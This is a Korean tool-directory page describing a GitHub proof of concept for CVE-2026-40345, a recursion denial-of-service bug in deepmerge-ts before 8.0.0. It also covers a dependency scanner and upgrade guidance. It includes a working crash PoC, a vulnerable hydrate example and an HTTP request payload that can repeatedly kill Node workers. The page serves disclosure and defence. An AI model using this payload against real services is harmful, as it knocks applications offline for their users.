Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-40345 — deepmerge-ts 8.0.0 이전 버전에서 발생하는 스택 고갈 기반 서비스 거부(Denial-of-Service)를 재현하고, 공격 방법을 문서화하며, 취약한 종속성 범위를 탐지하는 스캐너를 포함합니다. | Kitploit
도구/GitHubGitHub/jvr2022/cve-2026-40345
Vulnerability ScannersVulnerability AnalysisExploitationWeb Application ExploitationWeb SecuritySupply Chain Security
GitHubjvr2022/cve-2026-40345

CVE-2026-40345

deepmerge-ts 8.0.0 이전 버전에서 발생하는 스택 고갈 기반 서비스 거부(Denial-of-Service)를 재현하고, 공격 방법을 문서화하며, 취약한 종속성 범위를 탐지하는 스캐너를 포함합니다.

저장소 보기
6323일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

deepmerge-ts < 8.0.0: 재귀 객체 그래프 DoS

8.0.0 이전 버전의 deepmerge-ts에서 스택 고갈(stack exhaustion) 버그를 재현했습니다.

흥미로운 점은 이 크래시가 거대한 중첩 객체를 필요로 하지 않는다는 것입니다. 원인은 객체 동일성(object identity)에서 비롯됩니다. 병합되는 두 값이 동일한 속성을 통해 자기 자신을 다시 가리키면, 병합 루틴이 Node.js의 스택 공간이 소진될 때까지 같은 쌍을 계속 방문하게 됩니다.

권고: GHSA-ggr8-5vv4-36mx CVE: CVE-2026-40345 CWE: CWE-674 심각도: 높음 영향: 가용성

왜 주목할 만한가

대부분의 병합 테스트는 일반적인 JSON 형태의 데이터를 사용합니다:

root@kitploit:~
{
  user: {
    name: "alice"
  }
}

그런 데이터는 비순환적(acyclic)입니다. JavaScript 객체는 자기 자신이나 같은 그래프 안의 다른 객체에 대한 참조를 포함할 수도 있습니다. 테스트 스위트가 JSON 픽스처만 사용한다면 이런 경우를 놓치기 쉽습니다.

실패를 유발하는 가장 작은 그래프는 동일한 자기 참조를 가진 두 개의 분리된 객체입니다:

root@kitploit:~
const left = {};
left.self = left;

const right = {};
right.self = right;

내부에서 발생하는 일

레코드 병합은 열거 가능한 키를 순회하며 각 키의 값을 수집하고, 그 값들에 대해 병합 루틴을 다시 호출합니다. 영향을 받는 릴리스에는 사이클 검사도, 이전에 방문한 객체 쌍에 대한 추적도 없습니다.

self 키는 실행을 동일한 상태로 되돌려 보냅니다:

root@kitploit:~
deepmerge(left, right)
  -> merge(left.self, right.self)
  -> merge(left.self, right.self)
  -> merge(left.self, right.self)
  -> RangeError: Maximum call stack size exceeded

동일한 동작은 deepmergeInto, deepmergeCustom, deepmergeIntoCustom이 같은 종류의 그래프를 입력으로 받을 때도 발생할 수 있습니다.

로컬 재현

패키지는 package.json에서 영향을 받는 7.1.6 릴리스로 고정되어 있습니다.

root@kitploit:~
npm install
npm run poc

전체 테스트는 poc.mjs에 있습니다. 이 테스트는 두 공개 API를 로컬에서 실행하고 예상된 RangeError를 잡아내므로 결과를 쉽게 확인할 수 있습니다.

PoC의 핵심 부분은 다음과 같습니다:

root@kitploit:~
import { deepmerge } from "deepmerge-ts";

function recursiveRecord() {
  const record = {};
  record.self = record;
  return record;
}

deepmerge(recursiveRecord(), recursiveRecord());

예상 출력:

root@kitploit:~
deepmerge: RangeError: Maximum call stack size exceeded
deepmergeInto: RangeError: Maximum call stack size exceeded

PoC는 영향을 받는 동작이 관찰되면 성공을 반환합니다. 패키지가 업그레이드되어 두 호출이 모두 완료되면, 이슈가 재현되지 않았으므로 깨끗한 결과를 출력하고 상태 1로 종료합니다.

악용 방법

마법 같은 순환 JSON 페이로드는 없습니다. 일반적인 JSON 파서는 비순환 그래프를 생성하므로, 단순히 매우 깊은 JSON 본문을 다음에 보내는 것만으로는 트리거되지 않습니다:

root@kitploit:~
deepmerge(defaults, req.body);

애플리케이션은 병합 함수를 호출하기 전에 사이클을 생성하거나 유지해야 합니다. 이는 그래프 하이드레이션(graph hydration) 코드, 참조를 보존하는 역직렬화기, 캐시 또는 세션 객체 재사용, 또는 레코드를 서로 연결하는 사용자 정의 로직에서 발생할 수 있습니다.

취약한 통합의 작은 예는 다음과 같습니다. hydrate 함수는 사용자 제어 플래그를 자기 참조로 변환합니다:

root@kitploit:~
import { deepmerge } from "deepmerge-ts";

function hydrate(input) {
  const object = { value: input.value };
  if (input.self === true) object.self = object;
  return object;
}

function mergeRequest(body) {
  const left = hydrate(body.left);
  const right = hydrate(body.right);
  return deepmerge(left, right);
}

HTTP 라우트가 mergeRequest를 호출하면, 공격자는 다음을 보낼 수 있습니다:

root@kitploit:~
POST /merge
Content-Type: application/json

{"left":{"value":"a","self":true},"right":{"value":"b","self":true}}

이제 양쪽 모두 self 참조를 포함합니다. 라우트가 deepmerge(left, right)를 호출하면, 라이브러리는 left.self와 right.self를 따라가 다시 동일한 쌍을 받고, V8이 예외를 던질 때까지 재귀합니다.

애플리케이션이 정확히 이 hydrate 함수를 사용할 필요는 없습니다. 중요한 조건은 다음과 같습니다:

  1. 공격자가 제어하는 데이터가 재귀 객체 그래프에 영향을 줄 수 있어야 합니다.
  2. 두 병합 입력 모두 동일한 속성 경로에 사이클을 포함해야 합니다.
  3. 그래프가 영향을 받는 병합 API 중 하나에 도달해야 합니다.

라우트가 공개되어 있고 예외가 처리되지 않으면, 단일 요청으로 Node.js 워커를 중단시킬 수 있습니다. 프로세스 슈퍼바이저가 자동으로 재시작하면, 반복된 요청으로 서비스를 재시작 루프에 빠뜨릴 수 있습니다. 인증이 필요하다면 공격자는 여전히 해당 라우트에 접근할 수 있어야 합니다.

이것은 서비스 거부(denial of service) 문제입니다. 이 버그는 코드 실행, 파일 접근, 또는 다른 요청의 병합 입력을 읽을 수 있는 방법을 제공하지 않습니다.

JSON만으로는 충분하지 않은 이유

실제 애플리케이션을 평가할 때 이 구분이 중요합니다. 다음 요청 본문은 그 자체로는 사이클이 아닙니다:

root@kitploit:~
{
  "self": true
}

이것은 애플리케이션 코드가 self: true를 루트 객체에 대한 참조로 해석하거나, 다른 파서가 객체 참조를 복원할 때만 관련이 있습니다. 패키지는 결과 그래프를 여전히 안전하게 처리해야 하지만, 원격 악용 가능성은 패키지 주변 코드에 달려 있습니다.

영향

직접적인 영향은 동기적 스택 고갈을 통한 가용성 저하입니다.

주변 애플리케이션에 따라 결과는 다음과 같을 수 있습니다:

  • 하나의 요청이 RangeError로 실패
  • 처리되지 않은 예외로 워커 프로세스 종료
  • 프로세스 매니저 하에서 워커 재시작 반복
  • 워커가 재시작되는 동안 요청 큐가 밀려 쌓임
  • 라우트에 반복적으로 도달할 수 있을 때 서비스가 사용 불가 상태가 됨

이 이슈 자체에는 기밀성 또는 무결성 영향이 없습니다. 병합 라우트가 인증되지 않았거나, 공개 인터넷에서 도달 가능하거나, 다른 서비스가 자동으로 재시도할 때 심각도가 증가합니다.

탐지

크래시 PoC를 실행하기 전에 영향을 받는 종속성 참조를 찾기 위해 scanner.mjs를 추가했습니다. 이 스캐너는 다음을 확인합니다:

  • package.json 종속성 범위
  • package-lock.json
  • npm-shrinkwrap.json
  • pnpm-lock.yaml

프로젝트 디렉터리를 대상으로 실행합니다:

root@kitploit:~
node scanner.mjs /path/to/project

CI 또는 기타 도구에서는 JSON 출력을 사용합니다:

root@kitploit:~
node scanner.mjs /path/to/project --json

이 저장소에 대한 예시 결과:

root@kitploit:~
deepmerge-ts findings: 2
VULNERABLE package-lock.json node_modules/deepmerge-ts resolved=7.1.6
VULNERABLE package.json dependencies requested=7.1.6

스캐너는 영향을 받는 버전이나 범위를 찾으면 상태 1로 종료합니다. Git URL 및 기타 비-semver 소스는 조용히 안전한 것으로 처리되는 대신 REVIEW로 표시됩니다.

해결 방법

직접적인 해결책은 deepmerge-ts >= 8.0.0으로 업그레이드하고 잠금 파일(lockfile)을 갱신하는 것입니다.

root@kitploit:~
npm install deepmerge-ts@^8.0.0

애플리케이션은 또한 재귀 입력을 어떻게 처리할지 결정해야 합니다. 합리적인 옵션은 다음과 같습니다:

  • 입력 경계에서 사이클 거부
  • 병합 중 방문한 객체 쌍 추적
  • 병합 깊이를 제한하고 제어된 오류로 실패 처리
  • 요청 경계에서 병합 오류 포착
  • 워커 종료 및 재시작 루프 모니터링

오류를 포착하는 것은 프로세스 안정성에 유용하지만, 공격자가 요청을 반복할 수 있다면 근본적인 서비스 거부 문제를 제거하지는 않습니다. 종속성 업그레이드와 재귀 입력 처리가 중요한 수정 사항입니다.

패치된 릴리스 검증

종속성을 8.0.1로 변경하고 재설치한 후 동일한 PoC를 실행합니다:

root@kitploit:~
npm install [email protected]
npm run poc

패치된 릴리스에서는 두 호출이 모두 완료되고 스크립트는 다음을 출력합니다:

root@kitploit:~
deepmerge: completed
deepmergeInto: completed
No stack exhaustion observed. Try an affected version below 8.0.0.

참조

  • GitHub 보안 권고
  • CVE-2026-40345
  • npm의 deepmerge-ts
  • CWE-674: 통제되지 않은 재귀

라이선스

이 저장소의 PoC와 스캐너는 MIT 라이선스에 따라 배포됩니다.

도구 다운로드